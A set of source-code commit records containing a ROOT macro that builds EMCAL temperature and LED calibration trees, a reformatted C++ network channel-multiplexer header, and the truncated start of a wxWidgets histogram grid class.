sensor T 4 Double32_t fT5; //[0,0,16] sensor T 5 Double32_t fT6; //[0,0,16] sensor T 6 Double32_t fT7; //[0,0,16] sensor T 7 Double32_t fT8; //[0,0,16] sensor T 8 Double32_t fFracLed; // fraction led info for each SM Double32_t fFracMon; // fraction mon info for each SM ClassDef(TCalSM, 1); // CalSM class }; class TCalInfo : public TObject { public: TCalInfo() : fRunNo(0), fAvTime(0), fFirstTime(0), fLastTime(0), fMinT(0), fMaxT(0), fFracS(0), fSMs("TCalSM"), fCells("TCalCell") {} virtual ~TCalInfo() {;} Int_t fRunNo; // run number UInt_t fAvTime; // average start time UInt_t fFirstTime; // first time UInt_t fLastTime; // last time Float_t fMinT; // min temperature Float_t fMaxT; // max temperature Float_t fFracS; // fraction good sensors TClonesArray fSMs; // array with SM infos TClonesArray fCells; // array with cells ClassDef(TCalInfo, 2); // CalInfo class }; #endif void createTree( const char *period, const char *ofile = "treeout.root", Bool_t doprint = 0, Bool_t appBC = kFALSE, // boolean to switch on bad channel TString badpath = "$ALICE_ROOT/OADB/EMCAL" // location of bad channel map ){ TDraw td(period); td.Compute(); LDraw ld(period); ld.Compute(); if (appBC){ cout << "INFO: will be using bad channel map from: " << badpath.Data() << endl; } TObjArray *ta = td.GetArray(); if (!ta) { cerr << "No time objects for period " << period << endl; return; } TObjArray *la = ld.GetArray(); if (!la) { cerr << "No led objects for period " << period << endl; return; } const Int_t rns=la->GetEntries(); cout << "Working on period " << period << " with " << rns << " runs" << endl; AliEMCALGeometry *g=AliEMCALGeometry::GetInstance("EMCAL_COMPLETE12SMV1_DCAL_8SM"); const Int_t kSM=g->GetNumberOfSuperModules(); const Int_t kNcells=g->GetNCells(); const Int_t gain = 1; TCalInfo *info = new TCalInfo; TFile *out = TFile::Open(ofile,"recreate"); out->SetCompressionLevel(9); TTree* fTree = new TTree("tcal", "Temp calibration tree"); fTree->SetDirectory(out); fTree->Branch("event", &info, 32000, 99); TClonesArray &carr = info->fCells; TClonesArray &cSMarr = info->fSMs; Int_t l = 0; Int_t t = 0; Int_t runno = -1; Int_t idx = -1; TObjArray *arrayBC=0; TH2I *badmaps[kSM]; for (Int_t i=0;i<kSM;++i) badmaps[i]=0; for (Int_t i=0;i<rns;++i) { l++; t++; LInfo *linfo = dynamic_cast<LInfo*>(la->At(l)); if (!linfo){ cout << "skipping due to missing info in LED tree!" << endl; t++; continue; } TInfo *tinfo = dynamic_cast<TInfo*>(ta->At(t)); if (!tinfo){ cout << "skipping due to missing info in temp tree!" << endl; l++; continue; } Int_t runl = linfo->GetRunNo(); Int_t runt = tinfo->GetRunNo(); if (runl!=runt) { if (runl > runt){ l--; } else { t--; } cout << " Run numbers differ, skipping " << runl << " " << runt << endl; continue; } cout << "Working on run " << runl << endl; gSystem->Sleep(0.5); info->fRunNo = runt; info->fAvTime = tinfo->GetAverageTime(); info->fFirstTime = tinfo->GetFirstTime(); info->fLastTime = tinfo->GetLastTime(); info->fMinT = tinfo->AbsMinT(); info->fMaxT = tinfo->AbsMaxT(); info->fFracS = tinfo->Fraction(); cSMarr.Clear(); cSMarr.ExpandCreate(kSM); for (Int_t sm=0; sm<kSM; sm++) { cout << "SM "<< sm << ":\t"<< tinfo->AvgTempSM(sm) << endl; TCalSM *smInfo = (TCalSM*)cSMarr.At(sm); smInfo->fSM = sm; smInfo->fAvgT = tinfo->AvgTempSM(sm); smInfo->fT1 = tinfo->T(sm*8,3); smInfo->fT2 = tinfo->T(sm*8+1,3); smInfo->fT3 = tinfo->T(sm*8+2,3); smInfo->fT4 = tinfo->T(sm*8+3,3); smInfo->fT5 = tinfo->T(sm*8+4,3); smInfo->fT6 = tinfo->T(sm*8+5,3); smInfo->fT7 = tinfo->T(sm*8+6,3); smInfo->fT8 = tinfo->T(sm*8+7,3); smInfo->fFracLed = linfo->FracLeds(sm,gain); smInfo->fFracMon = linfo->FracStrips(sm,gain); } carr.Clear(); carr.ExpandCreate(kNcells); Double_t avg[20]; for (Int_t sm=0; sm<kSM; ++sm) { avg[sm]=tinfo->AvgTempSM(sm); } if (runt!=runno && appBC) { runno=runt; AliOADBContainer *contBC = new AliOADBContainer(""); contBC->InitFromFile(Form("%s/EMCALBadChannels.root",badpath.Data()),"AliEMCALBadChannels"); if (!contBC) { cerr << "Could not load bc map for run " << runno << endl; } else { Int_t idxCurr =contBC->GetIndexForRun(runno); if ( idx != idxCurr ){ cout << "INFO: need to switch bad channel map" << endl; TObjArray *arrayBC=(TObjArray*)contBC->GetObject(runno); if (!arrayBC){ cout << "WARNING: missing bad channel map for run: " << runno << " Will continue without using bad channel map!"<< endl; } for (Int_t i=0; i<kSM; ++i) { delete badmaps[i]; if (!arrayBC){ badmaps[i] = NULL; } else { badmaps[i] = (TH2I*)arrayBC->FindObject(Form("EMCALBadChannelMap_Mod%d",i)); badmaps[i]->SetDirectory(0); } } idx = idxCurr; } delete contBC; } } for (Int_t sm=0; sm<kSM; ++sm) { Int_t nrow = g->GetNumberOfCellsInPhiDirection(sm); Int_t ncol = g->GetNumberOfCellsInEtaDirection(sm); TH1 *hmonm = linfo->GetLedMonHist(sm,gain); TH1 *hmonr = linfo->GetLedMonRmsHist(sm,gain); TH2 *hledm = linfo->GetLedHist(sm,gain); TH2 *hledr = linfo->GetLedRmsHist(sm,gain); for (Int_t col=0; col<ncol; ++col) { for (Int_t row=0; row<nrow; ++row) { Int_t id = g->GetAbsCellIdFromCellIndexes(sm,row,col); Int_t ns = TInfo::SensId(sm,row,col); TCalCell *cell = (TCalCell*)carr.At(id); cell->fId = id; Int_t badcell = 0; if (appBC && badmaps[sm]) badcell = badmaps[sm]->GetBinContent(col,row); cell->fSM = sm; cell->fRow = row; cell->fCol = col; cell->fBad = badcell; cell->fLedM = hledm->GetBinContent(hledm->FindBin(col,row)); cell->fLedR = hledm->GetBinError(hledm->FindBin(col,row)); cell->fMonM = hmonm->GetBinContent(hmonm->FindBin(col/2)); cell->fMonR = hmonm->GetBinError(hmonm->FindBin(col/2)); cell->fLocT = tinfo->T(ns,3); cell->fSMT = avg[sm]; } } } fTree->Fill(); } out->cd(); fTree->Write(); out->Close(); } void createTree_all() { createTree("lhc16f","tree_lhc16f.root"); createTree("lhc16g","tree_lhc16g.root"); createTree("lhc16h","tree_lhc16h.root"); createTree("lhc16i","tree_lhc16i.root"); createTree("lhc16j","tree_lhc16j.root"); createTree("lhc16k","tree_lhc16k.root"); createTree("lhc16l","tree_lhc16g.root"); createTree("lhc16o","tree_lhc16g.root"); createTree("lhc16p","tree_lhc16g.root"); createTree("lhc17p","tree_lhc17p.root"); createTree("lhc18d","tree_lhc18d.root"); } <commit_msg>offline-online conversion<commit_after>#if !defined(__CINT__) || defined(__MAKECINT__) #include <AliEMCALGeometry.h> #include <AliOADBContainer.h> #include <TCanvas.h> #include <TClonesArray.h> #include <TDatime.h> #include <TFile.h> #include <TGrid.h> #include <TH2F.h> #include <TLegend.h> #include <TMap.h> #include <TNtuple.h> #include <TObject.h> #include <TProfile.h> #include <TSystem.h> #include "LInfo.h" #include "TInfo.h" #include "plotOCDB_Temperature.C" #include "plotOCDB_LED.C" class TCalCell : public TObject { public: TCalCell() : fId(0), fSM(0), fLedM(0), fLedR(0), fMonM(0), fMonR(0), fLocT(0), fSMT(0) {;} virtual ~TCalCell() {;} Short_t fId; // cell id Short_t fSM; // super module index Short_t fRow; // row (phi) index Short_t fCol; // col (eta) index Short_t fBad; // bad cell Double32_t fLedM; //[0,0,16] led mean Double32_t fLedR; //[0,0,16] led rms Double32_t fMonM; //[0,0,16] mon mean Double32_t fMonR; //[0,0,16] mon rms Double32_t fLocT; //[0,0,16] loc T Double32_t fSMT; //[0,0,16] sm T ClassDef(TCalCell, 2); // CalCell class }; class TCalSM : public TObject { public: TCalSM() : fSM(0), fAvgT(0), fT1(0), fT2(0), fT3(0), fT4(0), fT5(0), fT6(0), fT7(0), fFracLed(0), fFracMon(0) {;} virtual ~TCalSM() {;} Short_t fSM; // super module index Double32_t fAvgT; //[0,0,16] sm T Double32_t fT1; //[0,0,16] sensor T 1 Double32_t fT2; //[0,0,16] sensor T 2 Double32_t fT3; //[0,0,16] sensor T 3 Double32_t fT4; //[0,0,16] sensor T 4 Double32_t fT5; //[0,0,16] sensor T 5 Double32_t fT6; //[0,0,16] sensor T 6 Double32_t fT7; //[0,0,16] sensor T 7 Double32_t fT8; //[0,0,16] sensor T 8 Double32_t fFracLed; // fraction led info for each SM Double32_t fFracMon; // fraction mon info for each SM ClassDef(TCalSM, 1); // CalSM class }; class TCalInfo : public TObject { public: TCalInfo() : fRunNo(0), fAvTime(0), fFirstTime(0), fLastTime(0), fMinT(0), fMaxT(0), fFracS(0), fSMs("TCalSM"), fCells("TCalCell") {} virtual ~TCalInfo() {;} Int_t fRunNo; // run number UInt_t fAvTime; // average start time UInt_t fFirstTime; // first time UInt_t fLastTime; // last time Float_t fMinT; // min temperature Float_t fMaxT; // max temperature Float_t fFracS; // fraction good sensors TClonesArray fSMs; // array with SM infos TClonesArray fCells; // array with cells ClassDef(TCalInfo, 2); // CalInfo class }; #endif void createTree(const char *period, const char *ofile = "treeout.root", Bool_t doprint = 0, Bool_t appBC = kFALSE, // boolean to switch on bad channel TString badpath = "$ALICE_ROOT/OADB/EMCAL") // location of bad channel map { TDraw td(period); td.Compute(); LDraw ld(period); ld.Compute(); if (appBC) { cout << "INFO: will be using bad channel map from: " << badpath.Data() << endl; } TObjArray *ta = td.GetArray(); if (!ta) { cerr << "No time objects for period " << period << endl; return; } TObjArray *la = ld.GetArray(); if (!la) { cerr << "No led objects for period " << period << endl; return; } const Int_t rns=la->GetEntries(); cout << "Working on period " << period << " with " << rns << " runs" << endl; AliEMCALGeometry *g=AliEMCALGeometry::GetInstance("EMCAL_COMPLETE12SMV1_DCAL_8SM"); const Int_t kSM=g->GetNumberOfSuperModules(); const Int_t kNcells=g->GetNCells(); const Int_t gain = 1; TCalInfo *info = new TCalInfo; TFile *out = TFile::Open(ofile,"recreate"); out->SetCompressionLevel(9); TTree* fTree = new TTree("tcal", "Temp calibration tree"); fTree->SetDirectory(out); fTree->Branch("event", &info, 32000, 99); TClonesArray &carr = info->fCells; TClonesArray &cSMarr = info->fSMs; Int_t l = 0; Int_t t = 0; Int_t runno = -1; Int_t idx = -1; TObjArray *arrayBC=0; TH2I *badmaps[kSM]; for (Int_t i=0;i<kSM;++i) badmaps[i]=0; for (Int_t i=0;i<rns;++i) { l++; t++; LInfo *linfo = dynamic_cast<LInfo*>(la->At(l)); if (!linfo){ cout << "skipping due to missing info in LED tree!" << endl; t++; continue; } TInfo *tinfo = dynamic_cast<TInfo*>(ta->At(t)); if (!tinfo){ cout << "skipping due to missing info in temp tree!" << endl; l++; continue; } Int_t runl = linfo->GetRunNo(); Int_t runt = tinfo->GetRunNo(); if (runl!=runt) { if (runl > runt){ l--; } else { t--; } cout << " Run numbers differ, skipping " << runl << " " << runt << endl; continue; } cout << "Working on run " << runl << endl; gSystem->Sleep(0.5); info->fRunNo = runt; info->fAvTime = tinfo->GetAverageTime(); info->fFirstTime = tinfo->GetFirstTime(); info->fLastTime = tinfo->GetLastTime(); info->fMinT = tinfo->AbsMinT(); info->fMaxT = tinfo->AbsMaxT(); info->fFracS = tinfo->Fraction(); cSMarr.Clear(); cSMarr.ExpandCreate(kSM); for (Int_t sm=0; sm<kSM; sm++) { cout << "SM "<< sm << ":\t"<< tinfo->AvgTempSM(sm) << endl; TCalSM *smInfo = (TCalSM*)cSMarr.At(sm); smInfo->fSM = sm; smInfo->fAvgT = tinfo->AvgTempSM(sm); smInfo->fT1 = tinfo->T(sm*8,3); smInfo->fT2 = tinfo->T(sm*8+1,3); smInfo->fT3 = tinfo->T(sm*8+2,3); smInfo->fT4 = tinfo->T(sm*8+3,3); smInfo->fT5 = tinfo->T(sm*8+4,3); smInfo->fT6 = tinfo->T(sm*8+5,3); smInfo->fT7 = tinfo->T(sm*8+6,3); smInfo->fT8 = tinfo->T(sm*8+7,3); smInfo->fFracLed = linfo->FracLeds(sm,gain); smInfo->fFracMon = linfo->FracStrips(sm,gain); } carr.Clear(); carr.ExpandCreate(kNcells); Double_t avg[20]; for (Int_t sm=0; sm<kSM; ++sm) { avg[sm]=tinfo->AvgTempSM(sm); } if (runt!=runno && appBC) { runno=runt; AliOADBContainer *contBC = new AliOADBContainer(""); contBC->InitFromFile(Form("%s/EMCALBadChannels.root",badpath.Data()),"AliEMCALBadChannels"); if (!contBC) { cerr << "Could not load bc map for run " << runno << endl; } else { Int_t idxCurr =contBC->GetIndexForRun(runno); if ( idx != idxCurr ){ cout << "INFO: need to switch bad channel map" << endl; TObjArray *arrayBC=(TObjArray*)contBC->GetObject(runno); if (!arrayBC){ cout << "WARNING: missing bad channel map for run: " << runno << " Will continue without using bad channel map!"<< endl; } for (Int_t i=0; i<kSM; ++i) { delete badmaps[i]; if (!arrayBC){ badmaps[i] = NULL; } else { badmaps[i] = (TH2I*)arrayBC->FindObject(Form("EMCALBadChannelMap_Mod%d",i)); badmaps[i]->SetDirectory(0); } } idx = idxCurr; } delete contBC; } } for (Int_t sm=0; sm<kSM; ++sm) { Int_t nrow = g->GetNumberOfCellsInPhiDirection(sm); Int_t ncol = g->GetNumberOfCellsInEtaDirection(sm); TH1 *hmonm = linfo->GetLedMonHist(sm,gain); TH1 *hmonr = linfo->GetLedMonRmsHist(sm,gain); TH2 *hledm = linfo->GetLedHist(sm,gain); TH2 *hledr = linfo->GetLedRmsHist(sm,gain); for (Int_t col=0; col<ncol; ++col) { for (Int_t row=0; row<nrow; ++row) { Int_t id = g->GetAbsCellIdFromCellIndexes(sm,row,col); TCalCell *cell = (TCalCell*)carr.At(id); cell->fId = id; Int_t badcell = 0; if (appBC && badmaps[sm]) badcell = badmaps[sm]->GetBinContent(col,row); cell->fSM = sm; cell->fRow = row; cell->fCol = col; cell->fBad = badcell; Int_t orow=row; Int_t ocol=col; // shift to online col(phi)/row(eta0 g->ShiftOfflineToOnlineCellIndexes(sm, ocol, orow); Int_t ns = TInfo::SensId(sm,orow,ocol); cell->fLedM = hledm->GetBinContent(hledm->FindBin(ocol,orow)); cell->fLedR = hledm->GetBinError(hledm->FindBin(ocol,orow)); cell->fMonM = hmonm->GetBinContent(hmonm->FindBin(ocol/2)); cell->fMonR = hmonm->GetBinError(hmonm->FindBin(ocol/2)); cell->fLocT = tinfo->T(ns,3); cell->fSMT = avg[sm]; } } } fTree->Fill(); } out->cd(); fTree->Write(); out->Close(); } void createTree_all() { createTree("lhc16f","tree_lhc16f.root"); createTree("lhc16g","tree_lhc16g.root"); createTree("lhc16h","tree_lhc16h.root"); createTree("lhc16i","tree_lhc16i.root"); createTree("lhc16j","tree_lhc16j.root"); createTree("lhc16k","tree_lhc16k.root"); createTree("lhc16l","tree_lhc16g.root"); createTree("lhc16o","tree_lhc16g.root"); createTree("lhc16p","tree_lhc16g.root"); createTree("lhc17p","tree_lhc17p.root"); createTree("lhc18d","tree_lhc18d.root"); } <|endoftext|>
<commit_before>#pragma once #include <stdlib.h> //free #include <cassert> #include <c7a/data/data_manager.hpp> #include <c7a/net/net-exception.hpp> #include "socket.hpp" namespace c7a { namespace net { #define BUFFER_SIZE 1024 //! Block header is sent before a sequence of blocsk //! it indicates the number of elements and their //! boundaries // //! A BlockHeader with num_elements = 0 marks the end of a stream struct BlockHeader { size_t channel_id; size_t num_elements; size_t boundaries[]; template<class SocketType> bool ReadFromSocket(SocketType& socket) { int flags = 0; //how many elements are in the header & which channel number? auto expected_size = sizeof(num_elements) + sizeof(channel_id); auto read = socket.recv(&num_elements, expected_size, flags); if (read != expected_size) return false; expected_size = sizeof(size_t) * num_elements; //read #num_elements boundary informations read = socket.recv(&boundaries, expected_size, flags); if (read != expected_size) return false; } }; //Forward Magic class ChannelSink; //! A Stream is the state of the byte stream of one channel on one socket // //! Streams are opened when the first BlockHeader is received //! As long as the BlockHeader has num_elements that are not received yet, //! it is active //! BlockHeaders can be replaced by new ones when consume is called. //! Streams are closed when a BlockHeader was consumed that indicated so. // //! HEAD(_, 2, x x)|elem1|elem2|HEAD(_, 1, x)|emle3|HEAD(_, 0) //! 1. open stream (done externally) //! 2. consume will read 2 elements -> becomes inactive //! 3. consume reactivates when 2nd header is read //! 4. consume will read elem3 //! 5. consume will read 0-Header closes stream class Stream { public: Stream(struct BlockHeader header, std::shared_ptr<ChannelSink> channel) : channel_(channel), current_head_(header) {} bool IsActive() { return BytesRemaining() > 0; } bool IsClosed() { return current_head_.num_elements == 0; } std::shared_ptr<ChannelSink> GetChannel() { return channel_; } private: std::shared_ptr<ChannelSink> channel_; struct BlockHeader current_head_; size_t read_; //# bytes read bool closed_; size_t BytesRemaining() { return current_head_.boundaries[current_head_.num_elements - 1] - read_; } }; //! Data channel for receiving data from other workers class ChannelSink : std::enable_shared_from_this<ChannelSink> { public: //! Creates instance that has num_senders active senders //! Writes received data to targetDIA ChannelSink() { } //! Creates a stream in this Channel and returns a reference to it std::shared_ptr<Stream> AddStream(int fd, BlockHeader header) { auto stream_ptr = std::make_shared<Stream>(header, shared_from_this()); active_streams_.insert(std::make_pair(fd, stream_ptr)); return stream_ptr; } std::shared_ptr<Stream> GetStream(int fd) { if (!HasStreamOn(fd)) return std::shared_ptr<Stream>(); return active_streams_[fd]; } bool HasStreamOn(int fd) { return active_streams_.find(fd) != active_streams_.end(); } template<class SocketType> void Consume(SocketType& socket) {} private: std::map<int, std::shared_ptr<Stream>> active_streams_; }; //! Multiplexes virtual Connections on NetDispatcher template<class SocketType> class ChannelMultiplexer { public: //! Called by the network dispatcher void Consume(SocketType& connection) { int fd = connection.GetFileDescriptor(); //new socket: -> is a new stream if ( !KnowsSocket(fd) || !HasActiveStream(fd) ) { auto header = ReadBlockHeader( connection ); ChannelPtr channel; if ( !HasChannel(header.channel_id) ) { channel = CreateChannel(fd, header.channel_id); } else { channel = channels_[header.channel_id]; } StreamPtr stream; if( !channel->HasStreamOn(fd) ) SetActiveStream(fd, channel->AddStream(fd, header)); else SetActiveStream(fd, channel->GetStream(fd)); } GetActiveStream(fd)->GetChannel()->Consume(connection); } bool HasChannel(int id) { return channels_.find(id) != channels_.end(); } std::shared_ptr<ChannelSink> PickupChannel(int id) { return channels_[id]; } private: typedef std::shared_ptr<ChannelSink> ChannelPtr; typedef std::shared_ptr<Stream> StreamPtr; //! Channels have an ID in block headers std::map<int, ChannelPtr> channels_; //!Streams per Socket std::map<int, StreamPtr> active_stream_on_fd_; std::map<int, std::map<int, ChannelPtr>> channels_on_fd_; ChannelPtr CreateChannel(int fd, int channel_id) { //create channel and make accessible via ID std::shared_ptr<ChannelSink> channel; channels_.insert( std::make_pair(channel_id, channel) ); //associate channel with fd assert(KnowsSocket(fd)); channels_on_fd_[fd].insert( std::make_pair(channel_id, channel) ); return channel; } void SetActiveStream(int fd, StreamPtr stream) { assert(KnowsSocket(fd)); active_stream_on_fd_[fd] = stream; } bool HasActiveStream(int fd) { return GetActiveStream(fd) != nullptr; } std::shared_ptr<Stream> GetActiveStream(int fd) { return active_stream_on_fd_[fd]; } bool KnowsSocket(int fd) { return channels_on_fd_.find(fd) != channels_on_fd_.end(); } //!Reads, creates, and returns the header of a block BlockHeader ReadBlockHeader(SocketType& socket) { //TODO we assume that the header can ALWAYS be read. Handle edge case //where this does not happen int flags = 0; struct BlockHeader header; if (!header.ReadFromSocket<SocketType>(socket)) throw c7a::NetException("Error while reading Block header"); return header; } }; }} <commit_msg>uncrustify channel-multiplexer.hpp<commit_after>#pragma once #include <stdlib.h> //free #include <cassert> #include <c7a/data/data_manager.hpp> #include <c7a/net/net-exception.hpp> #include "socket.hpp" namespace c7a { namespace net { #define BUFFER_SIZE 1024 //! Block header is sent before a sequence of blocsk //! it indicates the number of elements and their //! boundaries // //! A BlockHeader with num_elements = 0 marks the end of a stream struct BlockHeader { size_t channel_id; size_t num_elements; size_t boundaries[]; template <class SocketType> bool ReadFromSocket(SocketType& socket) { int flags = 0; //how many elements are in the header & which channel number? auto expected_size = sizeof(num_elements) + sizeof(channel_id); auto read = socket.recv(&num_elements, expected_size, flags); if (read != expected_size) return false; expected_size = sizeof(size_t) * num_elements; //read #num_elements boundary informations read = socket.recv(&boundaries, expected_size, flags); if (read != expected_size) return false; } }; //Forward Magic class ChannelSink; //! A Stream is the state of the byte stream of one channel on one socket // //! Streams are opened when the first BlockHeader is received //! As long as the BlockHeader has num_elements that are not received yet, //! it is active //! BlockHeaders can be replaced by new ones when consume is called. //! Streams are closed when a BlockHeader was consumed that indicated so. // //! HEAD(_, 2, x x)|elem1|elem2|HEAD(_, 1, x)|emle3|HEAD(_, 0) //! 1. open stream (done externally) //! 2. consume will read 2 elements -> becomes inactive //! 3. consume reactivates when 2nd header is read //! 4. consume will read elem3 //! 5. consume will read 0-Header closes stream class Stream { public: Stream(struct BlockHeader header, std::shared_ptr<ChannelSink> channel) : channel_(channel), current_head_(header) { } bool IsActive() { return BytesRemaining() > 0; } bool IsClosed() { return current_head_.num_elements == 0; } std::shared_ptr<ChannelSink> GetChannel() { return channel_; } private: std::shared_ptr<ChannelSink> channel_; struct BlockHeader current_head_; size_t read_; //# bytes read bool closed_; size_t BytesRemaining() { return current_head_.boundaries[current_head_.num_elements - 1] - read_; } }; //! Data channel for receiving data from other workers class ChannelSink : std::enable_shared_from_this<ChannelSink> { public: //! Creates instance that has num_senders active senders //! Writes received data to targetDIA ChannelSink() { } //! Creates a stream in this Channel and returns a reference to it std::shared_ptr<Stream> AddStream(int fd, BlockHeader header) { auto stream_ptr = std::make_shared<Stream>(header, shared_from_this()); active_streams_.insert(std::make_pair(fd, stream_ptr)); return stream_ptr; } std::shared_ptr<Stream> GetStream(int fd) { if (!HasStreamOn(fd)) return std::shared_ptr<Stream>(); return active_streams_[fd]; } bool HasStreamOn(int fd) { return active_streams_.find(fd) != active_streams_.end(); } template <class SocketType> void Consume(SocketType& socket) { } private: std::map<int, std::shared_ptr<Stream> > active_streams_; }; //! Multiplexes virtual Connections on NetDispatcher template <class SocketType> class ChannelMultiplexer { public: //! Called by the network dispatcher void Consume(SocketType& connection) { int fd = connection.GetFileDescriptor(); //new socket: -> is a new stream if (!KnowsSocket(fd) || !HasActiveStream(fd)) { auto header = ReadBlockHeader(connection); ChannelPtr channel; if (!HasChannel(header.channel_id)) { channel = CreateChannel(fd, header.channel_id); } else { channel = channels_[header.channel_id]; } StreamPtr stream; if (!channel->HasStreamOn(fd)) SetActiveStream(fd, channel->AddStream(fd, header)); else SetActiveStream(fd, channel->GetStream(fd)); } GetActiveStream(fd)->GetChannel()->Consume(connection); } bool HasChannel(int id) { return channels_.find(id) != channels_.end(); } std::shared_ptr<ChannelSink> PickupChannel(int id) { return channels_[id]; } private: typedef std::shared_ptr<ChannelSink> ChannelPtr; typedef std::shared_ptr<Stream> StreamPtr; //! Channels have an ID in block headers std::map<int, ChannelPtr> channels_; //!Streams per Socket std::map<int, StreamPtr> active_stream_on_fd_; std::map<int, std::map<int, ChannelPtr> > channels_on_fd_; ChannelPtr CreateChannel(int fd, int channel_id) { //create channel and make accessible via ID std::shared_ptr<ChannelSink> channel; channels_.insert(std::make_pair(channel_id, channel)); //associate channel with fd assert(KnowsSocket(fd)); channels_on_fd_[fd].insert(std::make_pair(channel_id, channel)); return channel; } void SetActiveStream(int fd, StreamPtr stream) { assert(KnowsSocket(fd)); active_stream_on_fd_[fd] = stream; } bool HasActiveStream(int fd) { return GetActiveStream(fd) != nullptr; } std::shared_ptr<Stream> GetActiveStream(int fd) { return active_stream_on_fd_[fd]; } bool KnowsSocket(int fd) { return channels_on_fd_.find(fd) != channels_on_fd_.end(); } //!Reads, creates, and returns the header of a block BlockHeader ReadBlockHeader(SocketType& socket) { //TODO we assume that the header can ALWAYS be read. Handle edge case //where this does not happen int flags = 0; struct BlockHeader header; if (!header.ReadFromSocket<SocketType>(socket)) throw c7a::NetException("Error while reading Block header"); return header; } }; } } <|endoftext|>
<commit_before>///////////////////////////////////////////////////////////////////////////// // Name: ghistogram.cpp // Purpose: // Author: Eloy Martinez // Modified by: // Created: Mon 23 Jun 2008 11:40:03 CEST // RCS-ID: // Copyright: // Licence: ///////////////////////////////////////////////////////////////////////////// // For compilers that support precompilation, includes "wx/wx.h". #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #ifndef WX_PRECOMP #include "wx/wx.h" #endif ////@begin includes ////@end includes #include <wx/clipbrd.h> #include <sstream> #include "ghistogram.h" #include "histogram.h" #include "labelconstructor.h" #include "histogramtotals.h" ////@begin XPM images ////@end XPM images /*! * gHistogram type definition */ IMPLEMENT_CLASS( gHistogram, wxFrame ) /*! * gHistogram event table definition */ BEGIN_EVENT_TABLE( gHistogram, wxFrame ) ////@begin gHistogram event table entries EVT_CLOSE( gHistogram::OnCloseWindow ) EVT_IDLE( gHistogram::OnIdle ) EVT_GRID_RANGE_SELECT( gHistogram::OnRangeSelect ) EVT_UPDATE_UI( ID_GRIDHISTO, gHistogram::OnGridhistoUpdate ) ////@end gHistogram event table entries END_EVENT_TABLE() /*! * gHistogram constructors */ gHistogram::gHistogram() { Init(); } gHistogram::gHistogram( wxWindow* parent, wxWindowID id, const wxString& caption, const wxPoint& pos, const wxSize& size, long style ) { Init(); Create( parent, id, caption, pos, size, style ); } /*! * gHistogram creator */ bool gHistogram::Create( wxWindow* parent, wxWindowID id, const wxString& caption, const wxPoint& pos, const wxSize& size, long style ) { ////@begin gHistogram creation wxFrame::Create( parent, id, caption, pos, size, style ); CreateControls(); ////@end gHistogram creation return true; } /*! * gHistogram destructor */ gHistogram::~gHistogram() { ////@begin gHistogram destruction ////@end gHistogram destruction } /*! * Member initialisation */ void gHistogram::Init() { ////@begin gHistogram member initialisation myHistogram = NULL; gridHisto = NULL; ////@end gHistogram member initialisation } /*! * Control creation for gHistogram */ void gHistogram::CreateControls() { ////@begin gHistogram content construction gHistogram* itemFrame1 = this; wxBoxSizer* itemBoxSizer2 = new wxBoxSizer(wxVERTICAL); itemFrame1->SetSizer(itemBoxSizer2); gridHisto = new wxGrid( itemFrame1, ID_GRIDHISTO, wxDefaultPosition, wxDefaultSize, wxHSCROLL|wxVSCROLL|wxALWAYS_SHOW_SB ); gridHisto->SetDefaultColSize(50); gridHisto->SetDefaultRowSize(25); gridHisto->SetColLabelSize(25); gridHisto->SetRowLabelSize(50); itemBoxSizer2->Add(gridHisto, 1, wxGROW|wxALL, 1); ////@end gHistogram content construction gridHisto->CreateGrid( 0, 0 ); gridHisto->EnableEditing( false ); gridHisto->SetDefaultCellAlignment( wxALIGN_RIGHT, wxALIGN_CENTRE ); } void gHistogram::execute() { if( myHistogram == NULL ) return; myHistogram->execute( myHistogram->getBeginTime(), myHistogram->getEndTime() ); fillGrid(); this->Refresh(); } void gHistogram::fillGrid() { int rowLabelWidth = 0; wxFont labelFont = gridHisto->GetLabelFont(); bool commStat = myHistogram->itsCommunicationStat( myHistogram->getCurrentStat() ); UINT16 idStat; THistogramColumn curPlane; THistogramColumn numCols, numDrawCols; TObjectOrder numRows, numDrawRows; bool horizontal = myHistogram->getHorizontal(); if( !myHistogram->getIdStat( myHistogram->getCurrentStat(), idStat ) ) throw( exception() ); if( commStat ) curPlane = myHistogram->getCommSelectedPlane(); else curPlane = myHistogram->getSelectedPlane(); numCols = myHistogram->getNumColumns( myHistogram->getCurrentStat() ); numRows = myHistogram->getNumRows(); if( horizontal ) { numDrawCols = myHistogram->getNumColumns( myHistogram->getCurrentStat() ); numDrawRows = myHistogram->getNumRows(); } else { numDrawCols = myHistogram->getNumRows(); numDrawRows = myHistogram->getNumColumns( myHistogram->getCurrentStat() ); } gridHisto->BeginBatch(); if( (THistogramColumn)gridHisto->GetNumberCols() != numDrawCols ) { if( gridHisto->GetNumberCols() > 0 ) gridHisto->DeleteCols( 0, gridHisto->GetNumberCols() ); gridHisto->AppendCols( numDrawCols ); } if( gridHisto->GetNumberRows() != numDrawRows + NUMTOTALS + 1 ) { if( gridHisto->GetNumberRows() > 0 ) gridHisto->DeleteRows( 0, gridHisto->GetNumberRows() ); gridHisto->AppendRows( numDrawRows + NUMTOTALS + 1 ); } for( THistogramColumn iCol = 0; iCol < numCols; iCol++ ) { if( commStat ) { gridHisto->SetColLabelValue( iCol, myHistogram->getRowLabel( iCol ) ); myHistogram->setCommFirstCell( iCol, curPlane ); } else { if( horizontal ) gridHisto->SetColLabelValue( iCol, myHistogram->getColumnLabel( iCol ) ); else { int w, h; gridHisto->GetTextExtent( myHistogram->getColumnLabel( iCol ), &w, &h, NULL, NULL, &labelFont ); if( rowLabelWidth == 0 || rowLabelWidth < w ) rowLabelWidth = w; gridHisto->SetRowLabelValue( iCol, myHistogram->getColumnLabel( iCol ) ); } myHistogram->setFirstCell( iCol, curPlane ); } for( TObjectOrder iRow = 0; iRow < numRows; iRow++ ) { if( horizontal ) { if( iCol == 0 ) { int w, h; gridHisto->GetTextExtent( myHistogram->getRowLabel( iRow ), &w, &h, NULL, NULL, &labelFont ); if( rowLabelWidth == 0 || rowLabelWidth < w ) rowLabelWidth = w; gridHisto->SetRowLabelValue( iRow, myHistogram->getRowLabel( iRow ) ); } } else { gridHisto->SetColLabelValue( iRow, myHistogram->getRowLabel( iRow ) ); } THistogramColumn iDrawCol; TObjectOrder iDrawRow; if( horizontal ) { iDrawCol = iCol; iDrawRow = iRow; } else { iDrawCol = iRow; iDrawRow = iCol; } if( ( commStat && myHistogram->endCommCell( iCol, curPlane ) ) || ( !commStat && myHistogram->endCell( iCol, curPlane ) ) ) gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( "-" ) ); else { if( commStat ) { if( myHistogram->getCommCurrentRow( iCol, curPlane ) == iRow ) { string tmpStr; 